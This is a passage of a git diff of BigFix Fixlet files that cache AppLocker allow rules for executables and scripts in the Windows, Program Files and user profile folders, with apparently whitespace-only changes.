+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes
index 37e26ca9e..fe225f794 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes	
@@ -1,67 +1,67 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows
-  ID       : 20746
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-31T12:10:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow all files in C:\Windows, C:\Program Files, C:\Program Files (x86)</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Exe-Installed.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Everyone-Exe-Installed"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Exe">
-		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%PROGRAMFILES%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows
+  ID       : 20746
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-31T12:10:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow all files in C:\Windows, C:\Program Files, C:\Program Files (x86)</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Exe-Installed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Exe-Installed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes
index 5f8d9b291..3a0657a6e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes	
@@ -1,69 +1,69 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows
-  ID       : 20709
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:00:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a number of policies to Applocker. Specifically it configures:</P>
-<P>Scripts</P>
-<UL>
-<LI>Allow all scripts in Program Files folder
-<LI>Allow all scripts in Windows folder </LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Scripts-Installed.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Everyone-Scripts-Installed"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Script">
-		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%PROGRAMFILES%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows
+  ID       : 20709
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a number of policies to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow all scripts in Program Files folder
+<LI>Allow all scripts in Windows folder </LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Scripts-Installed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Scripts-Installed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes
index 13228a2c1..f166ca168 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows
-  ID       : 20738
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-30T10:22:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
-<P><BR>The rule self describes as: Allow Everyone to run Scripts in the Program Files Directory </P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in the Program Files Directory.xml"))]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Script-Allow Everyone to run Scripts in the Program Files Directory"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-<RuleCollection Type="Script">
-<FilePathRule Id="6a365ddc-9201-4134-a722-703d156fe65f" Name="Allow Everyone to run Scripts in the Program Files Directory" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\Program Files\*" /></Conditions></FilePathRule>
-</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows
+  ID       : 20738
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-30T10:22:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
+<P><BR>The rule self describes as: Allow Everyone to run Scripts in the Program Files Directory </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in the Program Files Directory.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Script-Allow Everyone to run Scripts in the Program Files Directory"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="6a365ddc-9201-4134-a722-703d156fe65f" Name="Allow Everyone to run Scripts in the Program Files Directory" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\Program Files\*" /></Conditions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes
index e4f1d1db4..32117f837 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows
-  ID       : 20739
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-30T10:23:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
-<P><BR>The rule self describes as: Allow Everyone to run Scripts in the Windows Directory except Temp.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in the Windows Directory except Temp.xml"))]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Script-Allow Everyone to run Scripts in the Windows Directory except Temp"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-<RuleCollection Type="Script">
-<FilePathRule Id="6cae8edd-b826-42fc-9d22-b6255b0ae056" Name="Allow Everyone to run Scripts in the Windows Directory except Temp" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*" /></Conditions><Exceptions><FilePathCondition Path="%WINDIR%\*\Temp\*" /></Exceptions></FilePathRule>
-</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows
+  ID       : 20739
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-30T10:23:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
+<P><BR>The rule self describes as: Allow Everyone to run Scripts in the Windows Directory except Temp.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in the Windows Directory except Temp.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Script-Allow Everyone to run Scripts in the Windows Directory except Temp"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="6cae8edd-b826-42fc-9d22-b6255b0ae056" Name="Allow Everyone to run Scripts in the Windows Directory except Temp" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*" /></Conditions><Exceptions><FilePathCondition Path="%WINDIR%\*\Temp\*" /></Exceptions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes
index 872d48400..99eca17e1 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows
-  ID       : 20740
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-30T10:23:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
-<P>The rule self describes as: Allow Everyone to run Scripts in their profiles except for AppData </P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in their profiles except for AppData.xml"))]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Script-Allow Everyone to run Scripts in their profiles except for AppData"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-<RuleCollection Type="Script">
-<FilePathRule Id="4687599f-786d-4bae-8e66-2413a02b0a4a" Name="Allow Everyone to run Scripts in their profiles except for AppData" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\users\*" /></Conditions><Exceptions><FilePathCondition Path="%OSDRIVE%\users\*\Appdata\*" /></Exceptions></FilePathRule>
-</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows
+  ID       : 20740
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-30T10:23:22
+  Source   : bigfixm1_main @ BES-Root
+-->
